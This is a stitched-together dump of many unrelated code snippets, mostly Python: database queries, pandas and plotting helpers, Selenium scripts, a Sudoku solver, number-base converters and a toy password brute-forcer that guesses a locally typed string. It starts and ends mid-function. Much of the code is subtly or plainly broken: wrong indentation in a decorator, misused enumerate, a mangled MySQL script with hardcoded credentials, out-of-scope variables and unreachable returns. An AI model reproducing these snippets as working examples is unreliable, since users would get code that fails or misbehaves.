    elif b_month == currentmonth:
        if b_day > currentday:
            age -= 1
    
    return int(age)
import sqlite3

# Connect to the database
conn = sqlite3.connect('BookCollection.db')

# Define the SQL query
query = '''
SELECT Authors.Surname, Authors.Name, Books.Title
FROM Authors
INNER JOIN Books ON Authors.AuthorID = Books.AuthorID
ORDER BY Authors.Surname, Books.Title
'''

# Execute the query and print the results
cursor = conn.cursor()
for row in cursor.execute(query):
    print(row)

# Close the database connection
conn.close()


import sqlite3
conn = sqlite3.connect('BookCollection.db')

cursor = conn.cursor()
for row in cursor.execute('''SELECT Surname, Name, Title
                             FROM Authors, Books
                             WHERE Authors.AuthorID = Books.AuthorID
                             ORDER BY Surname, Name, Title;'''):
    print(row)
cursor.close()
SQL = '''SELECT O.OrderNumber, O.OrderDate, TotalAmount, O.CustomerID
         FROM [Order] O, Customer C
         WHERE O.CustomerID = C.Id
         AND C.Id = :custID'''

for row in cursor.execute(SQL, {'custID':inputid}):
    print(row)
cursor.close()

import sqlite3
conn = sqlite3.connect('Northwind2020.db')

def CustOrderCountDetails(CustomerID):
    cursor = conn.cursor()
    cursor.execute("SELECT FirstName, LastName, COUNT(*) FROM Customer JOIN [Order] ON Customer.Id = [Order].CustomerId WHERE Customer.Id = ? GROUP BY Customer.Id", (CustomerID,))
    result = cursor.fetchone()
    conn.close()
    return f"Customer {result[0]} {result[1]} had a total of {result[2]} orders"





import sqlite3
conn = sqlite3.connect('Northwind2020.db')
    
def CustOrderCountDetails(CustomerID):
    # Your code goes here
    cursor = conn.cursor()

    SQL = '''SELECT FirstName, lastname, COUNT([Order].Id) as OrderCount
    From Customer, [Order]
    WHERE customer.id = CustomerId
    and customer.id = :Cid
    GROUP BY FirstName, LastName'''


    result = cursor.execute(SQL,{'Cid': CustomerID}).fetchone()
    return "Customer " + result[0] + " " + result[1] + " had a total of " + str(result[2]) + " orders"

    cursor.close()
find . -name "autoencoder_class_*.*" -exec /bin/rm -i {} \;
find . -name "tf_model.h5" -exec /bin/rm -i {} \;
# Create a function that we can re-use
def show_distribution(var_data):
    '''
    This function will make a distribution (graph) and display it
    '''

    # Get statistics
    min_val = var_data.min()
    max_val = var_data.max()
    mean_val = var_data.mean()
    med_val = var_data.median()
    mod_val = var_data.mode()[0]

    print('Minimum:{:.2f}\nMean:{:.2f}\nMedian:{:.2f}\nMode:{:.2f}\nMaximum:{:.2f}\n'.format(min_val,
                                                                                            mean_val,
                                                                                            med_val,
                                                                                            mod_val,
                                                                                            max_val))

    # Create a figure for 2 subplots (2 rows, 1 column)
    fig, ax = plt.subplots(2, 1, figsize = (10,4))

    # Plot the histogram   
    ax[0].hist(var_data)
    ax[0].set_ylabel('Frequency')

    # Add lines for the mean, median, and mode
    ax[0].axvline(x=min_val, color = 'gray', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=mean_val, color = 'cyan', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=med_val, color = 'red', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=mod_val, color = 'yellow', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=max_val, color = 'gray', linestyle='dashed', linewidth = 2)

    # Plot the boxplot   
    ax[1].boxplot(var_data, vert=False)
    ax[1].set_xlabel('Value')

    # Add a title to the Figure
    fig.suptitle('Data Distribution')

    # Show the figure
    fig.show()


show_distribution(df_students['Grade'])
import pprint

my_dict = {"name": "John", "age": 30, "city": "New York"}

pp = pprint.PrettyPrinter(indent=4)  # Create a PrettyPrinter object with an indentation of 4 spaces
pp.pprint(my_dict)  # Use the pprint() method to pretty print the dictionary
​"(https:\/\/[\w-]*\.?zoom.us\/(j|my)\/[\d\w?=-]+)"gm
# get the column names and move the last column to the front
cols = list(df.columns)
cols = [cols[-1]] + cols[:-1]

# reindex the dataframe with the new column order
df = df.reindex(columns=cols)
# By comparing itself
def is_nan(val):
  return val != val

nan_value = float("nan")
print(is_nan(nan_value))
# -> True

#Using math.isnan(Import math before using math.isnan)
import math

nan_value = float("NaN")
check_nan = math.isnan(nan_value)
print(check_nan)
# -> True
import win32api

drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
print drives
#List of Tuples
list_tuples =  [('Nagendra',18),('Nitesh',28),('Sathya',29)]

#To print the list of tuples using for loop you can print by unpacking them
for name,age in list_tuples:
  print(name,age)

#To print with enumerate--->enumerate is nothing but gives the index of the array.
for index,(name,age) in list_tuples:
  #print using fstring
  print(f'My name is {name} and age is {age} and index is {index}')
  #print using .format
  print('My name is {n} and age is {a} and index is {i}'.format(n=name,a=age,i=index))
 
class AddPath:
    def __init__(self, posix_path):
        self.path = str(posix_path)
    def __enter__(self):
        sys.path.insert(0, self.path)
    def __exit__(self, exc_type, exc_value, traceback):
        try:
            sys.path.remove(self.path)
        except ValueError:
            pass
with AddPath(Path(os.getcwd()).parent / 'pa_core'):
    pa_core = __import__('pa_core')
df_1_fraction = df_1.sample(frac=0.1, random_state=1)
for i in df.columns:
    print ('column :',i, 'is a tuple : ', all(isinstance(x,tuple) for x in df[i]))
import functools
import time
from typing import Callable, Any


def async_timed():
    def wrapper(func: Callable) -> Callable:

    @functools.wraps(func)
    async def wrapped(*args, **kwargs) -> Any:
        print(f'выполняется {func} с аргументами {args} {kwargs}')
        start = time.time()
        try:
            return await func(*args, **kwargs)
        finally:
            end = time.time()
            total = end - start
            print(f'{func} завершилась за {total:.4f} с')
        return wrapped
    return wrapper
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from multiprocessing import Process
import time

# The main process calls this function to create the driver instance.
def createDriverInstance():
    options = Options()
    options.add_argument('--disable-infobars')
    driver = webdriver.Chrome(chrome_options=options, port=9515)
    return driver

# Called by the second process only.
def secondProcess(executor_url, session_id):
    options = Options()
    options.add_argument("--disable-infobars")
    options.add_argument("--enable-file-cookies")
    capabilities = options.to_capabilities()
    same_driver = webdriver.Remote(command_executor=executor_url, desired_capabilities=capabilities)
    same_driver.close()
    same_driver.session_id = session_id
    same_driver.get("https://www.wikipedia.org")
    time.sleep(4)
    same_driver.quit()

if __name__ == '__main__':
    driver = createDriverInstance()
    driver.get("https://google.com")
    time.sleep(2)

    # Pass the driver session and command_executor to the second process.
    p = Process(target=secondProcess, args=(driver.command_executor._url,driver.session_id))
    p.start()
If you are just trying to serialize a list to disk for later use by the same python app, you should be pickleing the list --> https://docs.python.org/3/library/pickle.html

```
import pickle

with open('outfile', 'wb') as fp:
    pickle.dump(itemlist, fp)
```

To read it back:

```
with open ('outfile', 'rb') as fp:
    itemlist = pickle.load(fp)
```
# исходный массив со строками
strs = ['дом', 'домен', 'домра', 'доширак']

# функция, которая найдёт общее начало
def simplelongestCommonPrefix (strs):
	# на старте общее начало пустое
	res = ""
	# получаем пары «номер символа» — «символ» из первого слова
	for i, c in enumerate(strs[0]): 
		# перебираем следующие слова в списке
		for s in strs[1:]: 
			# если это слово короче, чем наш текущий порядковый номер символа
			# или если символ на этом месте не совпадаем с символом на этом же месте из первого слова
			if len(s)<i+1 or s[i] != c: 
				# выходим из функции и возвращаем, что нашли к этому времени
				return res
		# если цикл выполнился штатно
		else:
			# добавляем текущий символ к общему началу
			res += c
	# возвращаем результат
	return res

# выводим результат работы функции
print(simplelongestCommonPrefix(strs))
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from fake_useragent import UserAgent

options = Options()
ua = UserAgent()
userAgent = ua.random
print(userAgent)
options.add_argument(f'user-agent={userAgent}')
driver = webdriver.Chrome(chrome_options=options, executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe')
driver.get("https://www.google.co.in")
driver.quit()
#!/usr/bin/python



-- coding: UTF-8 --


pip install MySQL-python



import MySQLdb, os




try:
    conn = MySQLdb.connect(host='172.17.42.1', user='my_email', passwd='normal', db='database', port=3306)




cur = conn.cursor()
cur.execute('SELECT `id`, `name`, `path`, FROM `doc_file`')

# results
resulsts=cur.fetchall()    id, name, path = r[0], r[1], r[2]

    if path and not os.path.exists(path):
        print 'file not exist: ', id, name, path, flashpath

cur.close()
conn.close()

 



except MySQLdb.Error,e:
     print "Mysql Error %d: %s" % (e.args[0], e.args[1])




</pre> 

 

 



                    
 
#!/usr/bin/env python3
import subprocess
import sys

arg = sys.argv[1]

screeninfo = [
    s for s in subprocess.check_output("xrandr").decode("utf-8").split()\
    if s.count("+") == 2
    ]

if arg == "left":
    match = [s for s in screeninfo if s.endswith("+0+0")][0]
elif arg == "right":
    match = [s for s in screeninfo if not s.endswith("+0+0")][0]

data = [item.split("x") for item in match.split("+")]
numbers = [int(n) for n in [item for sublist in data for item in sublist]]
coord = [str(int(n)) for n in [(numbers[0]/2)+numbers[2], (numbers[1]/2)+numbers[3]]]

subprocess.Popen(["xdotool", "mousemove", coord[0], coord[1]])
tup = ('Timothée', 'Sandro', 'Aurélie', 'Fabrice')
print(tup)
print(tup[2])

y = (1, 6 , 8, 2)
print(y)
print(max(y))

l = list()
print('Methods you can use with a list:')
print(dir(l))

print()

t = tuple()
print('Methods you can use with a tuple:')
print(dir(t))

print()

# Tuples & Assignment
(x, y) = (4, 'Fred')
print(y)

print()

# Tuples & Dictionaries
d = dict()
d['fastoch'] = 82
d['Sandro'] = 16
for k,v in d.items():
    print(k, v)
print()
# The items() method in dictionaries returns a list of (key,value) tuples
tups = d.items()
print(tups)

print()

# Sorting lists of tuples
d = {'b':10, 'd':1, 'c':22, 'e':16, 'a':8}

# First, we sort the sort the dictionary by key using the items() method and sorted() function
print('Not sorted:', d.items())
keySorted = sorted(d.items())
print('Sorted by key:', keySorted)
for k,v in d.items():
    print(k, v)

print()

# Sorting by value instead of key
valuesFirst = list()
for k,v in d.items():
    valuesFirst.append((v,k))
print('(value, key) instead of (key, value):', valuesFirst)

valueSorted = sorted(valuesFirst)
print('Sorted by value:', valueSorted)

valueSortedReversed = sorted(valueSorted, reverse=True)
print('Sorted by value and reversed:', valueSortedReversed)

print()


# The top 10 most common words
fhand = open('romeo-full.txt') # open my file
counts = dict() # create a dictionary for storing each word's count
for line in fhand:
    words = line.split() # turn each line into a list of words
    for word in words:
        counts[word] = counts.get(word, 0) + 1 # initialize or increment counting
# We transfer our dictionary entries into a list of tuples
lst = list() 
for key, val in counts.items():
    newTuple = (val, key) # value becomes first element of each tuple, so that we can later sort by value
    lst.append(newTuple)

lst = sorted(lst, reverse=True) # sorting our list by value and reversing the order so that biggest values come first
# We print out top 10 most common words and the corresponding count
for val, key in lst[:10]:
    print(key, val)

# The split() method splits a string into a list. You can specify the separator, default separator is any whitespace.
print()


# Top 10 most common words - SHORTER VERSION
fhand = open('romeo-full.txt') 
counts = dict() 
for line in fhand:
    words = line.split() # default separator = whitespace
    for word in words:
        counts[word] = counts.get(word, 0) + 1
reversedSortedTuple = sorted([(v,k) for k,v in counts.items()], reverse=True) # reverse=True is for sorting from highest value to lowest
for v,k in reversedSortedTuple[:10]:
    print(k,v)

>>> import pandas as pd
>>> df = pd.DataFrame({'Position':[1,2,3,4,5], 'Letter':['a', 'b', 'c', 'd', 'e']})
>>> dict(sorted(df.values.tolist())) # Sort of sorted... 
{'a': 1, 'b': 2, 'c': 3, 'd': 4, 'e': 5}
>>> from collections import OrderedDict
>>> OrderedDict(df.values.tolist())
OrderedDict([('a', 1), ('b', 2), ('c', 3), ('d', 4), ('e', 5)])
Regime_Dates_df.index = Regime_Dates_df.DATE
Regime_Dates_df['MONTH_YEAR'] = pd.to_datetime(Regime_Dates_df.index).to_period('M')
>>> text = (("Hi", "Steve!"), ("What's", "up?"))
>>> [word for sentence in text for word in sentence]
['Hi', 'Steve!', "What's", 'up?']

# my version
asd = [ row for row in list_of_rows for column in row if 'Fachdienst PF' in column ]
import numpy as np

def cross_entropy(p, q):
return -sum([p[i] * np.log(q[i]) for i in range(len(p))])

p = [0, 0, 0, 1]
q = [0.45, 0.2, 0.02, 0.33]
cross_entropy(p, q)
import magic

filename = '/home/jovyan/pi-ml/data/images/'+'W074FLEB9138.tiff'

# Open the file in binary mode
with open(filename, 'rb') as f:
    # Create a magic object 
    magic_obj = magic.Magic()

    # Use magic to identify the file type
    file_type = magic_obj.from_buffer(f.read())

print(file_type)
import openai

openai.Completion.create(
  engine="davinci",
  prompt="Make a list of astronomical observatories:"
)
def async_session(func):
    async def wrapper(*args, **kwargs):
        async with get_async_session() as session:
            return await func(session, *args, **kwargs)

    return wrapper
# ----------------------------------------------------------------------------------------------------------------------
@cython.boundscheck(False)
@cython.wraparound(False)
@cython.cdivision(True)
@cython.nonecheck(False)
cpdef object get_boundaries(object data):
    """
    For a given field of pixels, this method returns a black and white mask, by using the "get_row_boundaries" method
    for each row and column.

    This is pretty fast, as it can rely on the power of numpy to do this operation very quickly.
    """
    cdef object rows = data.copy().astype(float)

    # -- row boundaries
    for i in range(len(data)):
        rows[i] = get_row_boundaries(data[i])

    # -- to get the boundary mask of our columns, transpose the image, shifting columns into rows
    cdef object columns = data.copy().T
    cdef object column_data = data.T

    # -- column boundaries
    for i in range(len(column_data)):
        columns[i] = get_row_boundaries(column_data[i])

    # -- having created our column mask, transpose it back.
    columns = columns.T

    # -- now combine both maps.
    return np.maximum(rows, columns)
# ----------------------------------------------------------------------------------------------------------------------
cpdef object get_row_boundaries(object row):
    """
    For a given row of pixels, this method returns a white pixel wherever a transition of values happens. The output is
    pure black and white, and expects an input of pure black and white.

    The way this is achieved, is by shifting the pixels in the row first left, then right, by one pixel. The shifted
    row (missing pixels filled with a value of 0) is then subtracted from the original, resulting in, for the right-
    shifted version, a white pixel where black turned into white, and for the left-shifted version, a white pixel
    where white turned into black.

    Taking the max() value of the combination of both of these gives us our boundary pixels for this row.
    """
    # -- this will give us a white pixel where black turned into white
    rising_diff = row - shift(row, 1, fill_value=0)

    # -- this will give us a white pixel where white turned into black
    decreasing_diff = row - shift(row, -1, fill_value=0)

    # -- this will combine both masks and give us the max() of both combined.
    return np.maximum(rising_diff, decreasing_diff)
Get average of a list

Copy
Julien Delange

Python public recipes


sum(mylist) / len(mylist)
Function to get average of a list
read csv file

Copy
Julien Delange

Python public recipes


with open(file_name, mode ='r', encoding='utf-8') as file:
  # reading the CSV file
  csvFile = csv.DictReader(file)
  # displaying the contents of the CSV file
  for line in csvFile:
    
# For forcefully stopping the program when done.
import sys

# For memory optimization purposes.
import os

# List of all possible characters to search through.
characters = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "`", "-", "=", "[", "]", "\\", ";", "'", ",", ".", "/", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "~", "_", "+", "{", "}", "|", ":", '"', "<", ">", "?"]

# Ask for the actual password that is trying to be found.
password = input("Enter the password trying to be brute forced: ")

# What method user wants to go through.
process = input("\nWould you like to display the process?\n\nNote: agreeing to display the process means the program will take a much longer time to run.\n\nSo, yes or no? ")

# Check if the process input is "no".
if process.lower() == "no":
  # Create an empty list to store the indexes of the characters in the password.
  indexes = []

  # loop through each character in the password.
  for character in password:
    # Set the index to 1.
    index = 1
    # Loop through each value in the characters list.
    for value in characters:
      # If the character is found in the characters list, append the index to the indexes list.
      if character == value:
        indexes.append(index)
      # Increment the index if the character is not found.
      else:
        index += 1

  # Set the first index value to 1.
  index = 1
  # Set the second index value to 0.
  index2 = 0
  # Set the number of tries to 0.
  tries = 0
  # Loop through the length of the indexes list minus one.
  for i in range(len(indexes)-1):
    # Calculate the temporary value.
    temp = (94 ** index) * indexes[index2]
    # Add the temporary value to the number of tries.
    tries += temp
    # Increment the second index value and the first index value.
    index2 += 1
    index += 1
    
  # Add the last element of the indexes list to the number of tries.
  tries += indexes[-1]

  # Print the final result of the number of tries taken.
  print("\nThe password was guessed in", tries, "tries.")
  
# Check if the process input is "yes".
elif process.lower() == "yes":
  # Set the guessed password equal to the characters list.
  guessed = characters
  # Set the number of tries to 0 and the guess value to 0.
  tries = 0
  guess = 0
  # Create an empty list for the estimates.
  estimates = []
    
  # Loop through each character in the characters list.
  for character in characters:
    # Increment the number of tries each iteration.
    tries += 1
    
    # Check if the current character is equal to the password.
    if character == password:
      # Print the result and exit the program if the password is guessed.
      print("Password guessed in", tries, "tries.")
      sys.exit()

  # Create an empty list for temporary values.
  temp = []
  # Set the number of loops to 0.
  loops = 0
  
  # Continue looping until the correct password is guessed.
  while guess != password:
    # Loop through each value in the guessed list.
    for value in guessed:
      # Loop through each character in the characters list.
      for character in characters:
        # Combine the current value and character to form a possibility.
        possibility = value + character
        # Increment the number of tries.
        tries += 1
        # Clear the terminal screen.
        os.system('clear')
        # Display the password, current guess, and number of tries.
        print("Password:", password)
        print("Current Guess:", possibility, "\nTry Number", tries)
        
        # Check if the possibility is equal to the password.
        if possibility == password:
          # Print the result and exit the program if the password is guessed.
          print("\nPassword guessed in", tries, "tries.")
          sys.exit()
          
        else:
          # Add the possibility to the temp list if it's not equal to the password.
          temp.append(possibility)
          
    # Set the guessed list to an empty list.
    guessed = []
    # Set the guessed list to the temp list.
    guessed = temp
    # Set the temp list to an empty list.
    temp = []

### RANDOM PASSWORD GENERATOR FOR TESTING ###
import random

desired_length = int(input())

random_output = []

characters = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "`", "-", "=", "[", "]", "\\", ";", "'", ",", ".", "/", "!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "~", "_", "+", "{", "}", "|", ":", '"', "<", ">", "?"]

for iteration in range(desired_length):
    random_output.append(random.choice(characters))	

print(*random_output, sep="")
# Internet Speed tester
# pip install speedtest-cli
import speedtest as st

# Set Best Server
server = st.Speedtest()
server.get_best_server()

# Test Download Speed
down = server.download()
down = down / 1000000
print(f"Download Speed: {down} Mb/s")

# Test Upload Speed
up = server.upload()
up = up / 1000000
print(f"Upload Speed: {up} Mb/s")

# Test Ping
ping = server.results.ping
print(f"Ping Speed: {ping}")

from __future__ import with_statement
import contextlib
try:
	from urllib.parse import urlencode
except ImportError:
	from urllib import urlencode
try:
	from urllib.request import urlopen
except ImportError:
	from urllib2 import urlopen
import sys

def make_tiny(url):
	request_url = ('http://tinyurl.com/app-index.php?' + 
	urlencode({'url':url}))
	with contextlib.closing(urlopen(request_url)) as response:
		return response.read().decode('utf-8')

def main():
	for tinyurl in map(make_tiny, sys.argv[1:]):
		print(tinyurl)

if __name__ == '__main__':
	main()
    

'''

-----------------------------OUTPUT------------------------
python url_shortener.py https://www.wikipedia.org/
https://tinyurl.com/bif4t9

'''
    
from difflib import SequenceMatcher
def plagiarism_checker(f1,f2):
    with open(f1,errors="ignore") as file1,open(f2,errors="ignore") as file2:
        f1_data=file1.read()
        f2_data=file2.read()
        res=SequenceMatcher(None, f1_data, f2_data).ratio()
        
print(f"These files are {res*100} % similar")
f1=input("Enter file_1 path: ")
f2=input("Enter file_2 path: ")
plagiarism_checker(f1, f2)
from fpdf import FPDF
Pdf = FPDF()

list_of_images = ["wall.jpg", "nature.jpg","cat.jpg"]
for i in list_of_images:
   Pdf.add_page()
   Pdf.image(i,x,y,w,h)
   Pdf.output("result.pdf", "F")
import os
import img2pdf
with open("output.pdf", "wb") as file:
   file.write(img2pdf.convert([i for i in os.listdir('path to image') if i.endswith(".jpg")]))
from pygame import mixer
from gtts import gTTS

def main():
   tts = gTTS('Like This Article')
   tts.save('output.mp3')
   mixer.init()
   mixer.music.load('output.mp3')
   mixer.music.play()
   
if __name__ == "__main__":
   main()
import pytube

link = input('Youtube Video URL')
video_download = pytube.Youtube(link)
video_download.streams.first().download()
print('Video Downloaded', link)
import PIL
from PIL import Image
from tkinter.filedialog import *

fl=askopenfilenames()
img = Image.open(fl[0])
img.save("output.jpg", "JPEG", optimize = True, quality = 10)
import PIL
from PIL import Image
from tkinter.filedialog import *

fl=askopenfilenames()
img = Image.open(fl[0])
img.save("output.jpg", "JPEG", optimize = True, quality = 10)
import tabula

filename = input("Enter File Path: ")
df = tabula.read_pdf(filename, encoding='utf-8', spreadsheet=True, pages='1')

df.to_csv('output.csv')
# Python Proofreading
# pip install lmproof
import lmproof
def proofread(text):
    proofread = lmproof.load("en")
    correction = proofread.proofread(text)
    print("Original: {}".format(text))
    print("Correction: {}".format(correction))
    
proofread("Your Text")
from random import*

def set_grid(level):
    grid = [[0]*9 for i in range(9)]
    n_fill = level
    rand_el = randint(1, 9)
    rand_r = randint(0, 8)
    rand_c = randint(0, 8)
   
    while n_fill != 0:
        while not valid_setting(rand_r, rand_c, rand_el, grid):
            rand_el = randint(1, 9)
            rand_r = randint(0, 8)
            rand_c = randint(0, 8)
                   
        grid[rand_r][rand_c] = rand_el
        n_fill -= 1
       
    return grid

def valid_setting(r, c, el, grid):
   
    if grid[r][c] != 0:
        return False


    if el in grid[r]:
        return False
   
    for row in grid:
        if row[c] == el:
            return False

    start_r = r - r % 3
    start_c = c - c % 3

    for r_idx in range(start_r, start_r + 3):
        for c_idx in range(start_c, start_c + 3):
            if grid[r_idx][c_idx] == el:
                return False
    return True

def print_grid(grid):
    print()
    for el in grid:
        print(el)
    print()
   
def move_r(r, c):
    if c == 8:
        return r + 1
    else:
        return r
def move_c(c):
    if c == 8:
        return 0
    else:
        return c + 1

def solve(r, c, grid):
    if r == 9 and c == 0:
        return True
   
    if grid[r][c] != 0:
        return solve(move_r(r, c), move_c(c), grid)
   
    for el in range(1, 10):
        if valid_setting(r, c, el, grid):
            grid[r][c] = el
            if solve(move_r(r, c), move_c(c), grid):
                return True
            grid[r][c] = 0
       
    return False    

def check_solved(gird):
    for r in range(0, 9):
        for c in range(0, 9):
            if not_valid(r, c, grid):
                return False
    return True

def not_valid(r, c, grid):
    el = grid[r][c]
    
    if el in grid[0:r] + grid[r+1:] :
        return True
    
    for row in range(0, 9):
        if grid[row][c] == el:
            if row == r:
                continue
                return True

    start_r = r - r % 3
    start_c = c - c % 3

    for r_idx in range(start_r, start_r + 3):
        for c_idx in range(start_c, start_c + 3):
            if grid[r_idx][c_idx] == el:
                if r_idx == r and c_idx == c:
                    continue
                    return True
    return False
    
grid = set_grid(15)
print_grid(grid)
solve(0, 0, grid)
print_grid(grid)
print("Sudoku Solved: ", check_solved(grid))
def string_to_binary(requested_conversion):
    converted_output = []
    for char in requested_conversion:
        converted_output.append(bin(ord(char)))
    print(*converted_output)

def decimal_to_binary(requested_conversion):
    print(bin(requested_conversion))

def binary_to_decimal(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == '1':
            decimal_num += 2 ** bit_power
        else:
            decimal_num += 0
        concurrent_bit += 1
        bit_power += 1
    print(decimal_num)

# The function below is a copy of the original but for the purpose of the binary_to_string function and binary_to_hex function.
def binary_to_decimal_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == '1':
            decimal_num += 2 ** bit_power
        else:
            decimal_num += 0
        concurrent_bit += 1
        bit_power += 1
    return decimal_num

def binary_to_string(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_string = []
    for char_binary_set in requested_conversion:
        integer_char_code = chr(binary_to_decimal_special(char_binary_set))
        list_of_chars_in_string.append(integer_char_code)
    print(*list_of_chars_in_string, sep="")

def string_to_hex(requested_conversion):
    converted_output = []
    for char in requested_conversion:
        converted_output.append(hex(ord(char)))
    print(*converted_output)
    
def decimal_to_hex(requested_conversion):
    print(hex(requested_conversion))

def hex_to_decimal(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            decimal_num += 10 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'b':
            decimal_num += 11 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'c':
            decimal_num += 12 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'd':
            decimal_num += 13 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'e':
            decimal_num += 14 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'f':
            decimal_num += 15 * (16 ** bit_power)
        else:
            decimal_num += int(digit) * (16 ** bit_power)
        concurrent_bit += 1
        bit_power += 1
    print(decimal_num)

# The function below is a copy of the original but for the purpose of the hex_to_string function.
def hex_to_decimal_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    requested_conversion = requested_conversion[::-1]
    concurrent_bit = 0
    bit_power = 0
    decimal_num = 0
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            decimal_num += 10 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'b':
            decimal_num += 11 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'c':
            decimal_num += 12 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'd':
            decimal_num += 13 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'e':
            decimal_num += 14 * (16 ** bit_power)
        elif requested_conversion[concurrent_bit] == 'f':
            decimal_num += 15 * (16 ** bit_power)
        else:
            decimal_num += int(digit) * (16 ** bit_power)
        concurrent_bit += 1
        bit_power += 1
    return decimal_num
    
def hex_to_string(requested_conversion):
    requested_conversion = requested_conversion.split(" ")
    list_of_chars_in_string = []
    for char_hexa_set in requested_conversion:
        integer_char_code = chr(hex_to_decimal_special(char_hexa_set))
        list_of_chars_in_string.append(integer_char_code)
    print(*list_of_chars_in_string, sep="")

def hex_to_binary_decimalversion(requested_conversion):
    requested_conversion = requested_conversion[2:]
    concurrent_bit = 0
    list_of_binary_portions = []
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            binary_translation = str(bin(10))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'b':
            binary_translation = str(bin(11))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'c':
            binary_translation = str(bin(12))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'd':
            binary_translation = str(bin(13))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'e':
            binary_translation = str(bin(14))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'f':
            binary_translation = str(bin(15))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        else:
            binary_translation = str(bin(int(digit)))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        concurrent_bit += 1
    for portion_index in range(len(list_of_binary_portions)):
        if len(list_of_binary_portions[portion_index]) == 1:
            list_of_binary_portions[portion_index] = "000" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 2:
            list_of_binary_portions[portion_index] = "00" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 3:
            list_of_binary_portions[portion_index] = "0" + list_of_binary_portions[portion_index]
        else:
            list_of_binary_portions[portion_index] = list_of_binary_portions[portion_index]
    list_of_binary_portions.insert(0, "0b")
    print(*list_of_binary_portions, sep="")

# The function below is a copy of the original but for the purpose of the hex_to_binary_stringversion function.
def hex_to_binary_decimalversion_special(requested_conversion):
    requested_conversion = requested_conversion[2:]
    concurrent_bit = 0
    list_of_binary_portions = []
    for digit in requested_conversion:
        if requested_conversion[concurrent_bit] == 'a':
            binary_translation = str(bin(10))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'b':
            binary_translation = str(bin(11))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'c':
            binary_translation = str(bin(12))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'd':
            binary_translation = str(bin(13))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'e':
            binary_translation = str(bin(14))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        elif requested_conversion[concurrent_bit] == 'f':
            binary_translation = str(bin(15))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        else:
            binary_translation = str(bin(int(digit)))
            binary_translation = binary_translation[2:]
            list_of_binary_portions.append(binary_translation)
        concurrent_bit += 1
    for portion_index in range(len(list_of_binary_portions)):
        if len(list_of_binary_portions[portion_index]) == 1:
            list_of_binary_portions[portion_index] = "000" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 2:
            list_of_binary_portions[portion_index] = "00" + list_of_binary_portions[portion_index]
        elif len(list_of_binary_portions[portion_index]) == 3:
            list_of_binary_portions[portion_index] = "0" + list_of_binary_portions[portion_index]
        else:
            list_of_binary_portions[portion_index] = list_of_binary_portions[portion_index]
